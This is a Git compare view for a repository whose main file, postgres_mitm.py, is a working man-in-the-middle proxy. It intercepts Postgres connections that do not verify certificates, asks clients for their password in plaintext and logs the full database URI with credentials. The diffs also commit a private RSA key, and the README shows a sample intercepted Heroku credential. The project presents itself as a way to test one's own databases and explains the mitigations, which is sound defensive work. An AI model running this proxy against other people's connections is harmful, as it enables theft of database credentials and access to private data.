Compare commits

...
Sign in to create a new pull request.

23 commits
osx ... master

Author SHA1 Message Date
Tarjei Husøy
e15ced56d5
Merge pull request #6 from ankane/newer_certs
Fix for no shared cipher error with newer versions of OpenSSL
2018-07-31 13:07:12 +02:00
Andrew
a8a2d80d26 Fix for no shared cipher error with newer versions of openssl 2018-07-28 13:36:05 -07:00
Andrew
f7ec9aed2f Fixed output for Python 3.7 2018-07-23 02:55:54 -07:00
Tarjei Husøy
ca8d6a4cd4
Merge pull request #3 from xbglowx/python3
Compatiability changes to work with python2 or 3
2018-04-21 12:39:18 -07:00
Tarjei Husøy
dc38e1fd1b Minor refactor of get_server_cert 2018-04-21 12:37:54 -07:00
Tarjei Husøy
ac01be70cb Make work also in python3.4 2018-04-21 12:33:16 -07:00
Tarjei Husøy
16c4e7dd2a Make startup assertions work in py2 2018-04-21 12:28:39 -07:00
Tarjei Husøy
4770807c04 Log protocol exceptions 2018-04-21 12:26:28 -07:00
Tarjei Husøy
3cab847c8f Fix byte types for python3 2018-04-21 12:24:53 -07:00
Brian Glogower
6199600e14
Compatiability changes to work with python2 or 3 2018-04-10 15:24:41 -07:00
Tarjei Husøy
bd6a379837 Set SO_REUSEPORT on the listening socket 2016-11-26 15:25:50 -08:00
Tarjei Husøy
081898960b Enable customizing bind port 2016-11-26 15:05:37 -08:00
Tarjei Husøy
334fc04981 Change docs link from connect modes to ssl 2016-06-06 10:51:39 -07:00
Tarjei Husøy
1b11d2024f Add instructions for testing Heroku Postgres 2016-06-06 10:49:17 -07:00
Tarjei Husøy
927018f332 Add shebang to mitm script 2016-06-05 08:32:19 -07:00
Tarjei Husøy
023dd1e6fb Add script to fetch server certificate 2016-06-05 01:22:01 -07:00
Tarjei Husøy
6657cceea0 Make script executable 2016-06-05 01:19:41 -07:00
Tarjei Husøy
ad68acfab9 Skip trying to close socket with shutdown
Also closes the correct sockets, some refactoring gone awry at some
point.
2016-06-04 00:05:02 -07:00
Tarjei Husøy
982ef9fca5 Log nice error message for well-behaving clients 2016-06-04 00:04:02 -07:00
Tarjei Husøy
1cb092dd73 Hard-code cert in script
Makes it easier to copy over just the script instead of having to
clone the repo. Standalone is nice.
2016-06-04 00:03:05 -07:00
Tarjei Husøy
ed50d9deac Order imports alphabetically 2016-06-03 23:54:44 -07:00
Tarjei Husøy
8ec2e9de4e Clarify what's happening in intro docs 2016-06-03 23:53:18 -07:00
Tarjei Husøy
4bad8cf825 Use .recv instead of .read 2016-06-03 20:34:09 -07:00
7 changed files with 270 additions and 73 deletions

View file

@ -12,10 +12,59 @@ Test whether your Postgres connections are vulnerable to MitM attacks.
If your app successfully connects to the database, it didn't validate certficates and accepted whatever was presented. The credentials for the database will be printed by the script. If you're seeing connection errors that's good, and means you're probably not vulnerable.
### Heroku
Since changing the database hostname used by Heroku is hard, to test your connection against the database find it's IP (just extract it from the hostname), and start the script with that, then locally point the DNS of the database host to 127.0.0.1:
```
# Terminal 1
$ echo "127.0.0.1 $(heroku config:get DATABASE_URL | grep -o ec2-[^:]*)" | sudo tee -a /etc/hosts
127.0.0.1 ec2-54-163-238-215.compute-1.amazonaws.com
$ heroku pg:psql
---> Connecting to DATABASE_URL
psql (9.4.5)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-ECDSA-AES256-GCM-SHA384, bits: 256, compression: on)
Type "help" for help.
mega-mitm::DATABASE=> select user;
current_user
----------------
fxutzshsavlfyj
(1 row)
mega-mitm::DATABASE=>
# Terminal 2
$ ./postgres_mitm.py 54.163.238.215
2016-06-06 10:28:47,634 [INFO] Listening for connections
2016-06-06 10:28:56,383 [INFO] Intercepted auth: postgres://fxutzshsavlfyj:Yp1DA<..>eJfAtu@54.163.238.215:5432/d4ajdorhb758hq
```
You could pin the database certificate, but note that this will break your app once it's moved to a different host for maintenance by Heroku. Not much we can do about that until they sign their certificates with their own CA.
```
# Terminal 1 again, pin the certificate
$ ./postgres_get_server_cert.py 54.163.238.215 > ~/.postgresql/root.crt
$ heroku pg:psql
---> Connecting to DATABASE_URL
psql: SSL error: certificate verify failed
# Good, MitM now fails, remove line we added to /etc/hosts and try again
# against actual database
$ heroku pg:psql
--> Connecting to DATABASE_URL
psql (9.4.5)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.
mega-mitm::DATABASE=>
# Winning
```
## If you're vulnerable
If you only have one database you can add its certificate to your trust store to prevent attacks like this one. The default trust store is `~/.postgresql/root.crt`, but you can customize this with the connection parameter `sslrootcert`.
If you're connecting to a database pool or are hosting many databases you should probably create your own Certificate Authority (CA) that can sign certificates for each database. Then the clients only need to trust the CA certificate and will have a secure connection to any of the databases signed by the CA.
As always, consult the [excellent documentation](https://www.postgresql.org/docs/9.0/static/libpq-connect.html#LIBPQ-CONNECT-SSLMODE) for details.
As always, consult the [excellent documentation](https://www.postgresql.org/docs/9.0/static/libpq-ssl.html) for details.

19
cert.pem Normal file
View file

@ -0,0 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDDTCCAfWgAwIBAgIIStsK3QYI+tAwDQYJKoZIhvcNAQELBQAwIDEeMBwGA1UE
AxMVbWluaWNhIHJvb3QgY2EgMDFmODVhMCAXDTE4MDcyNjA3Mzg0OFoYDzIxMDgw
NzI2MDgzODQ4WjAUMRIwEAYDVQQDEwlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQCYcRD4hKQnoflvSlMRWftfIb5N0fargSZyI1QgDrf0
YknqYOF5UtEngoFDvtIuTZSl2bjsidZhJYebmNEmL6ULZE3UUXGwQGYBTCrjr8Ls
Pdzjy9SlfBpm/xrhkATEqUQ8MnQ0EmJac6GvKFb2Ct3cYxMjHaCDbwMv5nDPDR85
SsLYGkxgqcKmMaOw6ZRNpMhBKlHpRIhT+wcfXfcrP1fB212rCH424n1NPUtAYixN
onKnv3Bz+FK5nqWVNaByC+6bonxsx1Y57zN9Wnc+DA2Bny6c7XgSHV2pUWqqnbmv
Q+MZsrzOZuale2ie3fmlNESGyaNI1fhfwtqnfclQuvvZAgMBAAGjVTBTMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAUBgNVHREEDTALgglsb2NhbGhvc3QwDQYJKoZIhvcNAQELBQADggEB
AAdbvbNYIk0IvYE4oVdZwZye6bgj7rOUe+18Vz/EJbBjylkKmknraoyaMV3XP69B
CT2qL5MbCjpFAFK5krX8s66Gkd2yJapyQa5vK52z5fKFPpehxfB3L43/BDmGadRD
r992/Hj0mSrwmPhm3Koz++gnJ2AbmBxxy+SgISc69T2fJMccluZkHDKmpVLb9zeb
oEy4YVVxZqILfVwsVXqO6QkIiy6I0fyWTRDylKINsXies8kWrrTtvyGTrR82DKEH
yVVGdSA82Tc8VjZ6ZXq0BW8IgcVY/BLxbEc6pL93kb4swKIxXYrK8wDt1ug2Pi6F
5ActJ26uig/FhICTKjh+51s=
-----END CERTIFICATE-----

27
key.pem Normal file
View file

@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAmHEQ+ISkJ6H5b0pTEVn7XyG+TdH2q4EmciNUIA639GJJ6mDh
eVLRJ4KBQ77SLk2Updm47InWYSWHm5jRJi+lC2RN1FFxsEBmAUwq46/C7D3c48vU
pXwaZv8a4ZAExKlEPDJ0NBJiWnOhryhW9grd3GMTIx2gg28DL+Zwzw0fOUrC2BpM
YKnCpjGjsOmUTaTIQSpR6USIU/sHH133Kz9Xwdtdqwh+NuJ9TT1LQGIsTaJyp79w
c/hSuZ6llTWgcgvum6J8bMdWOe8zfVp3PgwNgZ8unO14Eh1dqVFqqp25r0PjGbK8
zmbmpXtont35pTREhsmjSNX4X8Lap33JULr72QIDAQABAoIBAEN4F3jGzBi2eb2l
+an+V2E9gArVWQWDPc7akAs4OHazYd+YTXLzEpsYCbpAJKpVr+rPuCcIwpdwktpt
AnSSNcwa8s971IObnQoJ+hmX2v/QSYmQ12b+zHi1g+I9ab7Y49h4xDGfyWQbNX5e
rk5rdNJsDzZFkJtbcN+scFVTi3RBUZ3zVxG1QUICkX/tfgNIY+FauMXrN6XVOmm1
+eoLgqrag9RdiCEYlQg3fqtz0s5c8GD0dyO0xD0Z8je9bs/Q/78ALVtd9/YeQeKi
X9Ote/JiHXBB+CtzDSHem/w3t5615b6Qsbv9LtIBEGGmCg62Pd6atubBFlhg8+6K
UWNEStkCgYEAwSaRDN62pvm5NIit3FbG4qyR8KUo960Lw27ZIZe33k6BpTWb3wKo
nVi8MTS5W3A7zasfLlKREGj4/4lnf/ePjbLW34HLBCWlbS2S+TDbtSbTd/UqTVnO
s+DLx3K2CHXOtpzTMNtAzF97BaUylJuDszFVBxS3vF3E8EeabGOP3UcCgYEAygtx
zEBoHIuNSPRz3l4ARY3UUslA0EbL9Y48d2M42SdnN8n7ELckIIRuHlgak+CQFW2N
kIT1cUlxkKM5Fxgvqz1q3KBTXb8DAnpRMBWUU6APTYB+MthDboTds8kt/+3Fsi0j
L0X2MHNwAu1Tz3hKoAMtNtFkrALqenxtrlI+bd8CgYAG5j7GK+pwWnlAJCW5uivO
iwWHiA7HkhnaeEovRgEeYsWExj50H98wB6xpQY3hc0ffl948RFzELku+rQTScGBj
WmEMiNFcq4+WL8uRNSqT9PgWz94b9zpH+J6u2C0ibjrdEQsGMr7EziBR2k3NOyTg
MMHtx9KsWtkfEB+3AXNxHwKBgFShBJKUa8eBILXtRtdesmhv5v6iM9bJwMbjRCqR
0g8LdS2mGda/j49bSTDGoKNOTavcDo75UkGYjMwTwmcNB3KHsEonkaPTzXPtPjKQ
52c7xQ0mhDXR5jTVzHNxEiaANu3SAEnd2SgkQkfHlvJxJXjuu7KZdLykIAkcM2jw
JBwrAoGAGVYllJQ7OFNrrJP6rtbst7o0A95sqsrkMoP3hiDq9uVxX9qwgYn3j3Lp
tmw8X3F8QJXb/3nwAaHRN3r43aRaaxfoDtMMzzKRLd2J5EUfQKMvXCl8DnvG91BC
Z5G2RdKxmdbYSvKKUygWI1MJ7bMe34EtVqibjYvG4taxvb9lPzY=
-----END RSA PRIVATE KEY-----

103
postgres_get_server_cert.py Executable file
View file

@ -0,0 +1,103 @@
#!/usr/bin/env python
import argparse
import socket
import ssl
import struct
import subprocess
import sys
try:
from urlparse import urlparse
except ImportError:
from urllib.parse import urlparse
def main():
args = get_args()
target = get_target_address_from_args(args)
sock = socket.create_connection(target)
try:
certificate_as_pem = get_certificate_from_socket(sock)
print(certificate_as_pem.decode('utf-8'))
except Exception as exc:
sys.stderr.write('Something failed while fetching certificate: {0}\n'.format(exc))
sys.exit(1)
finally:
sock.close()
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('database', help='Either an IP address, hostname or URL with host and port')
return parser.parse_args()
def get_target_address_from_args(args):
specified_target = args.database
if '//' not in specified_target:
specified_target = '//' + specified_target
parsed = urlparse(specified_target)
return (parsed.hostname, parsed.port or 5432)
def get_certificate_from_socket(sock):
request_ssl(sock)
ssl_context = get_ssl_context()
sock = ssl_context.wrap_socket(sock)
sock.do_handshake()
certificate_as_der = sock.getpeercert(binary_form=True)
certificate_as_pem = encode_der_as_pem(certificate_as_der)
return certificate_as_pem
def request_ssl(sock):
# 1234.5679 is the magic protocol version used to request TLS, defined
# in pgcomm.h)
version_ssl = postgres_protocol_version_to_binary(1234, 5679)
length = struct.pack('!I', 8)
packet = length + version_ssl
sock.sendall(packet)
data = read_n_bytes_from_socket(sock, 1)
if data != b'S':
raise Exception('Backend does not support TLS')
def get_ssl_context():
# Return the strongest SSL context available locally
for proto in ('PROTOCOL_TLSv1_2', 'PROTOCOL_TLSv1', 'PROTOCOL_SSLv23'):
protocol = getattr(ssl, proto, None)
if protocol:
break
return ssl.SSLContext(protocol)
def encode_der_as_pem(cert):
# Forking out to openssl to not have to add any dependencies to script,
# preferably you'd do this with pycrypto or other ssl libraries.
cmd = ['openssl', 'x509', '-inform', 'DER']
pipe = subprocess.PIPE
process = subprocess.Popen(cmd, stdin=pipe, stdout=pipe, stderr=pipe)
stdout, stderr = process.communicate(cert)
if stderr:
raise Exception('OpenSSL error when converting cert to PEM: {0}'.format(stderr))
return stdout.strip()
def read_n_bytes_from_socket(sock, n):
buf = bytearray(n)
view = memoryview(buf)
while n:
nbytes = sock.recv_into(view, n)
view = view[nbytes:] # slicing views is cheap
n -= nbytes
return buf
def postgres_protocol_version_to_binary(major, minor):
return struct.pack('!I', major << 16 | minor)
if __name__ == '__main__':
main()

126
postgres_mitm.py Normal file → Executable file
View file

@ -1,42 +1,47 @@
#!/usr/bin/env python
from __future__ import print_function
# This script demonstrates how to setup a Man-in-the-Middle (MitM) attack on a
# Postgres connection with SSLMODE=require or less. Attack is mitigated by
# setting SSLMODE=verify or SSLMODE=verify-full, which requires you to get the
# certificate of either your server or a CA that has signed it's certificate.
# setting SSLMODE=verify-ca or SSLMODE=verify-full, which requires you to get
# the certificate of either your server or a CA that has signed it's
# certificate.
# What the script does:
# listen on socket for ssl startup messages
# reply with 'S' (supported?)
# Do TLS handshake with random cert/key
# Tell client to authenticate over plaintext to capture the password
# Initiate database connection to actual backend using the supplied password
# Proxy all traffic between the client and the actual database
# * Bind to 5432 and listen for incoming connections
# * If someone connects over plaintext, request password to be sent in the clear
# * If someone requests to connect over SSL, initiate the SSL connection with a
# self-signed certificate, then ask for password in plaintext
# * Initiate TLS connection to actual database with the supplied credentials
# * Proxy all traffic between the client and the actual database
# The backend database to proxy must be given as an argument on the command
# line for now, but in an actual attack you would read this from the redirect
# fields on the IP packets or similar, depending on how you're performing the
# attack.
# The target database must be given as an argument on the command line.
# PS: Please don't look to this script for examples of how to write good socket
# code, this is just a quick proof of concept.
# code, this is just a proof of concept.
import argparse
import hashlib
import logging
import os
import select
import socket
import ssl
import select
import struct
import sys
import tempfile
import textwrap
import threading
import time
import logging
from collections import namedtuple
# Sent by client when requesting TLS connection (this is the magic version
# 1234.5679 of the protocol, defined in pgcomm.h)
SSL_STARTUP_RESPONSE = 'S'
VERSION_SSL = '\x04\xd2\x16\x2f'
VERSION_3 = '\x00\x03\x00\x00'
VERSION_SSL = b'\x04\xd2\x16\x2f'
VERSION_3 = b'\x00\x03\x00\x00'
SSL_STARTUP_RESPONSE = b'S'
PY2 = sys.version_info < (3, 0, 0)
_logger = logging.getLogger(__name__)
@ -64,7 +69,8 @@ def main():
target_backend = args.backend
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 5432))
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
sock.bind(('0.0.0.0', args.port))
# max queued connections
backlog = 5
@ -89,7 +95,7 @@ def main():
remove_stopped_threads(threads)
except (KeyboardInterrupt, SystemExit):
_logger.info('Received exit, shutting down sockets')
_logger.info('Received exit, shutting down')
sock.shutdown(socket.SHUT_RDWR)
sock.close()
stop_threads(threads)
@ -100,6 +106,8 @@ def get_args():
parser.add_argument('backend')
parser.add_argument('-l', '--logging-level',
choices=('debug', 'info', 'warning'), default='info')
parser.add_argument('-p', '--port', default=5432, type=int,
help='The local port to bind to. Default: %(default)s')
return parser.parse_args()
@ -131,7 +139,10 @@ class ClientConnection(threading.Thread):
if protocol:
break
self.ssl_context = ssl.SSLContext(protocol)
self.ssl_context.load_cert_chain(certfile='server.cert', keyfile='server.key')
dirname = os.path.dirname(__file__)
cert = os.path.join(dirname, 'cert.pem')
key = os.path.join(dirname, 'key.pem')
self.ssl_context.load_cert_chain(cert, key)
self.socket = client_socket
self.target_backend = target_backend
self.server_socket = None
@ -148,6 +159,7 @@ class ClientConnection(threading.Thread):
def run(self):
buffer_size = 4096
try:
self.initiate_client_and_server_connections()
_logger.debug('Initiated')
@ -156,7 +168,7 @@ class ClientConnection(threading.Thread):
sockets = [self.server_socket, self.socket]
sockets_with_data = select.select(sockets, [], [], timeout)[0]
if self.socket in sockets_with_data:
data = self.socket.read()
data = self.socket.recv(buffer_size)
_logger.debug('Client -> Server: %s' % repr(data))
if data:
self.server_socket.send(data)
@ -166,7 +178,7 @@ class ClientConnection(threading.Thread):
self.server_socket.close()
break
if self.server_socket in sockets_with_data:
data = self.server_socket.read()
data = self.server_socket.recv(buffer_size)
_logger.debug('Server -> Client: %s' % repr(data))
if data:
self.socket.send(data)
@ -175,6 +187,15 @@ class ClientConnection(threading.Thread):
self.socket.close()
self.server_socket.shutdown(socket.SHUT_RDWR)
self.server_socket.close()
except ssl.SSLError as exc:
if exc.reason == 'TLSV1_ALERT_UNKNOWN_CA':
_logger.info('Client had an established trust root, could'
' not intercept details.')
else:
_logger.info('Got TLS error when establishing connection: %s', exc.strerror)
raise
except Exception as exc:
_logger.exception('Got exception during protocol handling: %s' % exc)
finally:
self.terminate()
@ -224,8 +245,8 @@ class ClientConnection(threading.Thread):
def wait_for_auth_request(self):
# Format of message is <char tag><int32 len><message>
first_5_bytes = self.read_n_bytes_from_client(5)
tag = first_5_bytes[0]
if tag != 'p':
tag = first_5_bytes[0:1]
if tag != b'p':
raise Exception("Received non-auth request: %s" % tag)
# Bump length with 1 to offset for tag
@ -257,10 +278,9 @@ class ClientConnection(threading.Thread):
self.startup_packet = data
self.options = parse_options_from_startup_packet(data)
_logger.debug('Startup packet processed successfully: %s' % self.options)
auth_reply = 'R%(length)s%(method)s' % {
'length': struct.pack('!I', 8),
'method': struct.pack('!I', AUTH_METHODS['AUTH_REQ_PASSWORD']),
}
length = struct.pack('!I', 8)
method = struct.pack('!I', AUTH_METHODS['AUTH_REQ_PASSWORD'])
auth_reply = b'R' + length + method
_logger.debug('Replying to startup: %s' % repr(auth_reply))
self.socket.send(auth_reply)
return True
@ -272,10 +292,10 @@ class ClientConnection(threading.Thread):
password = parse_password_from_authentication_packet(data)
if self.connect_to_actual_backend(password):
captured_uri = 'postgres://%(user)s:%(password)s@%(host)s:5432/%(database)s' % {
'user': self.options.get('user', ''),
'password': password,
'user': self.options.get('user', b'').decode('utf-8'),
'password': password.decode('utf-8'),
'host': self.target_backend,
'database': self.options.get('database', ''),
'database': self.options.get('database', b'').decode('utf-8'),
}
_logger.info('Intercepted auth: %s' % captured_uri)
# Switch socket to non-blocking to enable messages to pass in
@ -288,13 +308,11 @@ class ClientConnection(threading.Thread):
def connect_to_actual_backend(self, password):
self.server_socket = socket.create_connection((self.target_backend, 5432))
packet = '%(length)s%(version)s' % {
'length': struct.pack('!I', 8),
'version': VERSION_SSL,
}
length = struct.pack('!I', 8)
packet = length + VERSION_SSL
self.server_socket.sendall(packet)
data = read_n_bytes_from_socket(self.server_socket, 1)
assert data == 'S'
assert data == b'S'
self.server_socket = self.ssl_context.wrap_socket(self.server_socket)
self.server_socket.do_handshake()
self.server_socket.sendall(self.startup_packet)
@ -304,7 +322,7 @@ class ClientConnection(threading.Thread):
if auth_request.method == 'AUTH_REQ_MD5':
# options is 4-byte salt
salt = auth_request.options
response = create_md5_auth_packet(self.options.get('user', ''), password, salt)
response = create_md5_auth_packet(self.options.get('user', b''), password, salt)
self.server_socket.sendall(response)
else:
_logger.debug('Unsupported backend auth method: %s' % auth_request.method)
@ -318,7 +336,7 @@ class ClientConnection(threading.Thread):
def receive_auth_request_from_backend(self):
first_9_bytes = self.read_n_bytes_from_server(9)
assert first_9_bytes[0] == 'R'
assert first_9_bytes[0:1] == b'R'
packet_length = struct.unpack('!I', first_9_bytes[1:5])[0]
# Tag doesn't count on length, read the rest
the_rest = self.read_n_bytes_from_server(packet_length - 8)
@ -335,9 +353,7 @@ class ClientConnection(threading.Thread):
if not sock:
continue
try:
if not socket_is_closed(self.socket):
self.socket.shutdown(socket.SHUT_RDWR)
self.socket.close()
sock.close()
except:
_logger.exception('Got exception when trying to close socket')
self.stop()
@ -354,40 +370,40 @@ def read_n_bytes_from_socket(sock, n):
nbytes = sock.recv_into(view, n)
view = view[nbytes:] # slicing views is cheap
n -= nbytes
return str(buf)
return buf
def create_md5_auth_packet(username, password, salt):
pw_and_username = password + username
pw_hash = hashlib.md5(pw_and_username).hexdigest()
salted_hash = 'md5' + hashlib.md5(pw_hash + salt).hexdigest()
response = 'p%(length)s%(salted_hash)s\0' % {
# 32 bytes of digest, four bytes length, 3 bytes for 'md5', one byte terminating null
'length': struct.pack('!I', 40),
'salted_hash': salted_hash,
}
return response
salted_hash = 'md5' + hashlib.md5(pw_hash.encode('utf-8') + salt).hexdigest()
# 32 bytes of digest, four bytes length, 3 bytes for 'md5', one byte terminating null
length = struct.pack('!I', 40)
return b'p' + length + salted_hash.encode('utf-8') + b'\x00'
def parse_options_from_startup_packet(data):
# format is <in32 length><in32 protocol>[<key>\0<value>\0]+\0
raw_key_value_pairs = data[8:]
assert raw_key_value_pairs[-1] == '\0'
assert raw_key_value_pairs[-1] == 0
raw_key_value_pairs = raw_key_value_pairs[0:-1]
assert raw_key_value_pairs.count('\0') % 2 == 0
if PY2:
assert raw_key_value_pairs.count('\0') % 2 == 0
else:
assert raw_key_value_pairs.count(0) % 2 == 0
options = {}
key_value_pairs = data[8:].split('\0')
key_value_pairs = data[8:].split(b'\x00')
for i in range(0, len(key_value_pairs), 2):
key = key_value_pairs[i]
value = key_value_pairs[i + 1]
options[key] = value
options[key.decode('utf-8')] = value
return options
def parse_password_from_authentication_packet(data):
assert data[-1] == '\0'
assert data[-1] == 0
return data[5:-1]

View file

@ -1,9 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIBFTCBvQIJAOVlsttuSJP1MAoGCCqGSM49BAMCMBUxEzARBgNVBAMMCnNlbGZz
aWduZWQwHhcNMTYwNTI5MTg0NDAzWhcNMjYwNTI3MTg0NDAzWjAVMRMwEQYDVQQD
DApzZWxmc2lnbmVkMFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAER28qhX8p79zv7x0G
Mkqef7KfDXgmobUfcUKhmt5Eqn+8GnraVjvrzAs+6jMcLemUj1+dLbkmFKMtFolA
f0EDbjAKBggqhkjOPQQDAgNHADBEAiAD1hIlVDGKtKkRyCZISZ/UteZ1hBzaX00Q
g6qnOtZlcgIgCWlME+pNLmaSeMVx7unb6zFGNhDzfxeSSJEM5tlCGZs=
-----END CERTIFICATE-----

View file

@ -1,8 +0,0 @@
-----BEGIN EC PARAMETERS-----
BgUrgQQACg==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MHMCAQEEHyXy23774hq9CTorIFwGuppBUlXIZN0eOsjruDkJopigBwYFK4EEAAqh
RANCAARHbyqFfynv3O/vHQYySp5/sp8NeCahtR9xQqGa3kSqf7waetpWO+vMCz7q
Mxwt6ZSPX50tuSYUoy0WiUB/QQNu
-----END EC PRIVATE KEY-----